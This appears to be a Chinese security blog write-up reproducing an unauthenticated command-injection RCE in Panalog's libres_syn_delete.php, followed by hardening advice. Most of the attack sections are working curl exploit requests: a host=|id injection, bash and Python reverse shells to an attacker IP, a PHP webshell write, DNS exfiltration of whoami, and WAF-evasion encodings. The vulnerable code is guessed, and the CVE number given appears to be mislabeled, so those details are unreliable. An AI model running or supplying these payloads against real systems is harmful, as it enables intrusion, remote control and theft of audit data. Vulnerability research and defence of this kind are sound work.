1. 项目概述：一次对Panalog日志审计系统前台RCE漏洞的深度剖析

最近在梳理一些网络设备与日志审计系统的历史漏洞时，Panalog大数据日志审计系统的libres_syn_delete.php文件命令执行漏洞（常被标记为CVE-2024-50623）引起了我的注意。这个漏洞的典型性在于，它发生在一个广泛部署于关键行业（如高校、政企、金融）的核心日志审计系统中，并且漏洞触发点在前台，无需任何身份认证，危害等级极高。作为一名长期从事安全研究与渗透测试的从业者，我习惯性地会搭建环境，亲手复现一遍漏洞的完整利用链。这不仅能验证漏洞的真实性与危害，更能深入理解其成因，为后续的漏洞挖掘、安全加固乃至代码审计提供直接的思路。今天，我就把这次针对 Panaloglibres_syn_delete.php前台RCE漏洞的复现过程、技术细节、踩过的坑以及一些延伸思考，整理成一篇详细的实战笔记，希望能给同样关注企业安全与漏洞研究的朋友们一些参考。

简单来说，这个漏洞允许攻击者直接向目标系统的libres_syn_delete.php文件发送一个特制的HTTP POST请求，通过参数注入系统命令，从而在服务器上以Web服务权限执行任意命令。整个过程就像拿到了一个无需钥匙就能打开的后门，可以直接操控服务器。下面，我将从环境搭建开始，一步步拆解这个漏洞的利用过程，并深入探讨其背后的安全缺陷。

2. 漏洞环境搭建与核心原理探究

2.1 目标系统与漏洞定位

Panalog是Panabit公司推出的一款集流量分析、日志审计于一体的软件产品。它通常被部署在网络出口或核心旁路，用于采集和留存网络流量日志，并对用户的上网行为进行审计分析。libres_syn_delete.php这个文件，从路径/content-apply/libres_syn_delete.php来看，属于其Web应用的一部分，功能很可能与同步或删除某些资源（libres）相关。

漏洞的核心原理是命令注入。攻击者能够将可控的数据（通过HTTP请求参数）传入到服务器端一个用于执行系统命令的函数中（如PHP的system()、exec()、passthru()或反引号`操作符），并且由于缺乏有效的过滤或转义，导致攻击者注入的命令被成功执行。

根据公开的漏洞描述和后续分析，漏洞点大致可以还原：在libres_syn_delete.php中，代码可能直接拼接了用户可控的host参数（或类似参数）到系统命令字符串中，然后通过shell_exec()或类似函数执行。例如，可能存在如下有缺陷的代码片段：

$host = $_POST[‘host’]; // 危险操作：未对$host进行任何过滤，直接拼接进命令 $command = “/usr/bin/some_tool --host ” . $host; $output = shell_exec($command); echo $output;

当攻击者提交host=|id时，拼接后的命令变为/usr/bin/some_tool --host |id。在Linux Shell中，管道符|会将其左侧命令的输出作为右侧命令的输入。因此，系统会先尝试执行some_tool，然后将其输出（或错误）传递给id命令执行，并将id命令的结果返回。这就成功注入了系统命令。

2.2 实验环境快速搭建

为了安全、合法地复现漏洞，我们必须在一个隔离的实验室环境中进行。我选择使用虚拟机搭建靶场。

1. 靶机准备：我使用了一台安装有漏洞版本Panalog的虚拟机镜像。你也可以尝试从一些开源漏洞靶场平台寻找相关环境，或者根据Panabit官网可能存在的旧版本安装包进行搭建（注意：仅用于安全研究，切勿在公网或生产环境部署）。确保虚拟机网络配置为NAT或Host-Only模式，与宿主机隔离。

2. 攻击机准备：我的攻击机是另一台Kali Linux虚拟机，与靶机在同一虚拟网络内，方便互访。主要工具是curl（用于发送HTTP请求）和浏览器（用于验证结果）。

3. 信息收集：首先需要确定靶机的IP地址和Web服务是否正常。在攻击机上使用nmap进行快速扫描：

nmap -sV -p 80,443 <靶机IP>

确认80或443端口开放，并且服务标识中可能包含 “Panalog” 或 “Panabit” 字样。

注意：在真实授权测试中，信息收集阶段需要格外小心，避免触发安全设备的告警。在实验室环境则相对宽松，但养成良好的习惯很重要。

3. 漏洞复现详细步骤与利用链拆解

3.1 漏洞请求包构造与分析

这是整个复现过程最核心的一步。根据公开的漏洞情报，漏洞触发点在/content-apply/libres_syn_delete.php，方法为POST，存在注入的参数可能是host或id。我们通过构造数据包来验证。

首先，我们发送一个最基本的探测请求，看看文件是否存在，以及响应情况：

curl -X POST http://<靶机IP>/content-apply/libres_syn_delete.php -d “token=1&id=2&host=test” -v

-v参数可以显示详细的请求和响应头，有助于我们分析。

接下来，尝试注入命令。漏洞数据包示例中使用了|id >990996.txt。我们来拆解这个Payload：

• |：管道符，用于命令注入。
• id：Linux系统命令，用于打印当前用户和组信息。
• >：重定向符，将id命令的输出重定向到文件990996.txt。
• 990996.txt：输出文件，会生成在libres_syn_delete.php文件所在的同一目录下，即/content-apply/。

那么，完整的利用请求如下：

curl -X POST http://<靶机IP>/content-apply/libres_syn_delete.php \ -H “User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)” \ -H “Content-Type: application/x-www-form-urlencoded” \ -d “token=1&id=2&host=|id >990996.txt”

关键点解析：

• token和id参数：虽然漏洞可能不依赖它们，但原PoC中包含了。在实际漏洞利用中，有时需要提供一些看似合法的参数值来绕过基础的参数检查或满足代码逻辑，使其执行到存在漏洞的代码分支。这里保持与原PoC一致是最稳妥的。
• host参数：这是我们的命令注入点。注入的命令|id >990996.txt会被拼接到服务器端执行的系统命令中。
• 请求头：User-Agent模仿了旧版IE，在某些情况下可能有助于规避简单的WAF规则。Content-Type必须设置为application/x-www-form-urlencoded，因为我们是提交表单数据。

发送这个请求后，如果漏洞存在，服务器会在/var/www/html/content-apply/（或类似Web根目录下的对应路径）生成一个名为990996.txt的文件，内容为id命令的执行结果。

3.2 命令执行结果验证与信息获取

发送注入请求后，我们如何验证命令是否执行成功？

方法一：直接访问生成的文件这是最直接的验证方式。在浏览器或使用curl访问：

curl http://<靶机IP>/content-apply/990996.txt

如果返回类似uid=33(www-data) gid=33(www-data) groups=33(www-data)的内容，则证明命令执行成功，并且我们知道了Web服务运行的用户是www-data（这是常见的Apache/Nginx运行用户，权限较低，但足以读取Web目录文件，甚至可能写入Webshell）。

方法二：尝试其他命令为了进一步确认漏洞的可利用性，我们可以尝试执行其他命令，例如：

1. 查看当前路径：host=|pwd > path.txt，然后访问path.txt。
2. 查看系统信息：host=|uname -a > sysinfo.txt。
3. 探测内网：host=|ifconfig > network.txt或host=|ip addr > network.txt。

实操心得：在测试命令执行时，我习惯先从无害的id、pwd、whoami命令开始，确认漏洞触发的稳定性。然后尝试ls -la查看当前目录文件，寻找可能的配置文件、日志文件或可写目录，为下一步行动做准备。避免一开始就使用rm -rf /或wget这类可能造成破坏或明显网络行为的命令。

3.3 利用漏洞获取交互式Shell

前台RCE的终极利用往往是获取一个交互式的Shell，以便进行更深入的信息收集和横向移动。由于是命令注入，我们可以通过多种方式反弹Shell。

方法一：使用bash反弹TCP Shell（最常用）假设我们的攻击机IP是192.168.1.100，监听端口为4444。

1. 在攻击机上启动Netcat监听：

   nc -lvnp 4444

2. 向靶机发送注入Payload，使用bash -i重定向输入输出：

   curl -X POST http://<靶机IP>/content-apply/libres_syn_delete.php \ -d “token=1&id=2&host=|bash -i >& /dev/tcp/192.168.1.100/4444 0>&1”

   Payload解释：bash -i启动一个交互式bash。>& /dev/tcp/192.168.1.100/4444将标准输出和标准错误都重定向到TCP连接。0>&1将标准输入也重定向到同一个TCP连接，从而形成一个完整的交互通道。

方法二：使用python反弹Shell如果目标系统安装了Python（大概率会安装），可以使用更稳定的Python单行命令：

curl -X POST http://<靶机IP>/content-apply/libres_syn_delete.php \ -d “token=1&id=2&host=|python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.100\”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\”/bin/bash\”)’”

这个Payload会创建一个TCP连接，并生成一个带有伪终端（pty）的bash，这样我们就能获得一个功能更完整的Shell（支持命令历史、tab补全等）。

方法三：写入Webshell如果由于网络策略限制（如靶机无法出网），无法反弹Shell，那么写入一个Webshell是备选方案。

1. 写入一个简单的PHP Webshell：

   curl -X POST http://<靶机IP>/content-apply/libres_syn_delete.php \ -d “token=1&id=2&host=|echo \”<?php system(\\$_GET[‘cmd’]);?>\\” > /var/www/html/content-apply/shell.php”

   注意：需要知道Web根目录的绝对路径，可以通过之前的pwd命令获取。路径中的引号和特殊字符需要转义。

2. 访问Webshell执行命令：

   http://<靶机IP>/content-apply/shell.php?cmd=id

踩坑记录：在复现时，我最初使用的bash反弹命令没有成功。排查后发现，目标系统的bash可能被编译时去掉了网络重定向功能，或者/dev/tcp这个特性被禁用。这时，尝试python、perl、nc（如果安装了netcat-openbsd版本，支持-e参数）等其他方式就非常必要。这也是为什么在实战中准备多种Payload备用是至关重要的。

4. 漏洞深度分析与安全加固建议

4.1 漏洞根因与代码审计视角

通过复现，我们可以更深入地推断漏洞的根源。这通常源于开发人员的安全意识不足，直接信任了用户输入。针对PHP，常见的危险函数包括：

• system()
• exec()
• passthru()
• shell_exec()
• `（反引号）
• popen()
• proc_open()

一个安全的做法应该是：

1. 白名单校验：如果host参数应该是IP地址或主机名，则严格用正则表达式匹配其格式。
2. 转义/过滤：使用escapeshellarg()或escapeshellcmd()函数对用户输入进行处理。escapeshellarg()会给参数加上单引号，并转义已有的单引号，确保其被当作一个完整的字符串参数。escapeshellcmd()会转义对Shell有特殊意义的字符。
3. 避免命令执行：从根本上考虑，是否必须通过执行系统命令来完成这个功能？是否有更安全的PHP原生函数或库可以替代？

4.2 影响范围与威胁评估

根据FOFA等网络空间测绘引擎的搜索语法app="Panabit-Panalog"，可以发现在公网上仍有相当数量的Panalog系统暴露。这意味着该漏洞的影响面非常广。攻击者利用此漏洞可以：

1. 完全控制服务器：通过获取Shell，攻击者可以读写任意Web目录文件，窃取日志审计数据（这些数据可能包含敏感信息）。
2. 内网横向移动：以这台服务器为跳板，攻击内网其他更重要的系统。
3. 植入后门或勒索软件：长期潜伏或直接破坏。
4. 破坏日志完整性：作为日志审计系统，自身被攻破意味着日志可能被篡改或删除，使安全监控失效。

对于部署了Panalog的单位，这是一个需要立即处置的高危漏洞。

4.3 安全加固与整改措施

如果你是Panalog系统的管理员，请立即采取以下措施：

紧急处置：

1. 临时缓解：如果暂时无法升级或打补丁，可以在Web服务器（如Nginx/Apache）配置中，对/content-apply/libres_syn_delete.php这个路径进行访问控制，例如限制只允许管理IP访问，或者直接返回403/404状态码。
   • Nginx示例：

     location ~ ^/content-apply/libres_syn_delete\.php$ { deny all; return 403; }

   • Apache示例（在.htaccess或虚拟主机配置中）：

     <Files “libres_syn_delete.php”> Order Deny,Allow Deny from all # Allow from 192.168.1.0/24 （可选，允许特定IP段） </Files>

2. 漏洞验证：使用上文中的无害Payload（如host=|id > test.txt）检查自己的系统是否存在漏洞。

根本解决：

1. 官方补丁：密切关注厂商（Panabit）的官方安全公告和版本更新。这是最推荐的解决方案。访问官方网站，查看是否有针对该漏洞的安全更新或补丁发布。
2. 版本升级：将系统升级到已修复该漏洞的最新版本。
3. 代码自查：如果具备开发能力，可以定位到libres_syn_delete.php文件，审查其代码，确保所有用户输入在传入命令执行函数前都经过严格的过滤或转义。

长期防护：

1. 网络隔离：日志审计系统、安全管理系统等应部署在独立的安全区域，严格限制其与外网及内网其他非必要区域的访问。
2. 最小权限原则：运行Web服务的账户（如www-data）应仅拥有所需的最小文件系统权限，避免其写入Web目录或读取敏感配置文件。
3. 部署WAF：在Panalog系统前端部署Web应用防火墙（WAF），可以有效拦截针对已知漏洞的攻击Payload。
4. 定期安全评估：对自身的关键业务系统定期进行漏洞扫描和安全评估，主动发现潜在风险。

5. 复现过程中的常见问题与排查技巧

在复现漏洞时，你可能会遇到一些问题。这里我记录了几个常见的情况和解决方法：

问题1：发送Payload后，访问生成的文件返回404或空白。

• 可能原因1：命令执行失败。Payload中的特殊字符（如|,>,&）在传输过程中可能被编码或转义。确保你的请求工具（如curl）正确发送了原始字符。可以先用一个简单的host=|echo 123 > test.txt测试。
• 可能原因2：文件生成路径不对。生成的990996.txt文件可能不在Web目录下，或者Web服务器没有该目录的读取权限。尝试使用绝对路径，如host=|id > /tmp/out.txt，然后看看/tmp/out.txt是否存在（这需要你有文件包含或其他方式读取）。或者，尝试用pwd命令先确定当前工作目录。
• 可能原因3：漏洞利用条件不满足。可能原PoC中的token或id参数在你的目标版本中需要特定的值。可以尝试抓取一个正常前端操作的数据包，观察这些参数的值，或者尝试将其留空、删除进行测试。

问题2：反弹Shell不成功，Netcat监听端没有连接。

• 排查网络连通性：首先确保攻击机IP和端口正确，且靶机到攻击机的网络是通的（没有防火墙拦截）。可以在靶机上尝试用注入执行ping <攻击机IP>或curl <攻击机IP>:4444（在攻击机用nc -lvnp 4444简单测试TCP连通性）。
• 排查Payload兼容性：目标系统可能没有bash、python3，或者其版本不支持网络重定向。尝试其他Payload，如使用python(Python2)、perl、php反弹，或者使用nc -e /bin/bash（如果安装了特定版本的netcat）。
• 检查命令是否执行：先注入一个创建文件的命令host=|touch /tmp/success.txt，检查文件是否被创建，以确认命令执行功能本身是通的。

问题3：请求被WAF或系统自带的防护拦截。

• 尝试混淆Payload：对注入的命令进行编码或分割。例如，将id编码为$(printf ‘\151\144’)（八进制）或`echo -e ‘\x69\x64’`（十六进制）。或者使用变量拼接：host=|a=i;b=d;$a$b。
• 更改请求方式/头：尝试使用GET请求（如果漏洞也存在于GET参数），或者添加/修改一些HTTP头，如X-Forwarded-For，模拟正常流量。
• 使用空字节或换行符：在某些情况下，在参数值中插入空字节%00或换行符%0a可能绕过简单的过滤。

问题4：如何判断目标系统是否受影响？除了直接使用命令注入Payload，还可以通过一些无害的方式探测：

• 时间盲注：注入host=|sleep 5，观察请求响应时间是否明显延迟了5秒。这需要多次测试取平均值以减少网络波动影响。
• DNS外带：注入host=|nslookupwhoami.your-dns-log.com（需要有一个可控的DNS服务器记录查询日志），通过查看DNS查询记录来间接判断命令是否执行。

最后，我想强调的是，漏洞复现是安全研究的基本功，但一定要在合法、授权的环境下进行。通过亲手实践，我们不仅能验证漏洞，更能深刻理解其原理和危害，从而更好地进行防御。对于企业安全运维人员来说，面对此类高危漏洞，反应速度至关重要，应立即启动应急响应流程，按照“临时缓解 -> 根本解决 -> 全面排查”的步骤进行处置。而对于安全研究者，这个漏洞也提醒我们，即便是安全产品自身，也可能存在严重的安全缺陷，在设计开发时贯彻安全编码规范，在部署运维时遵循安全最佳实践，是构筑真正安全防线的基石。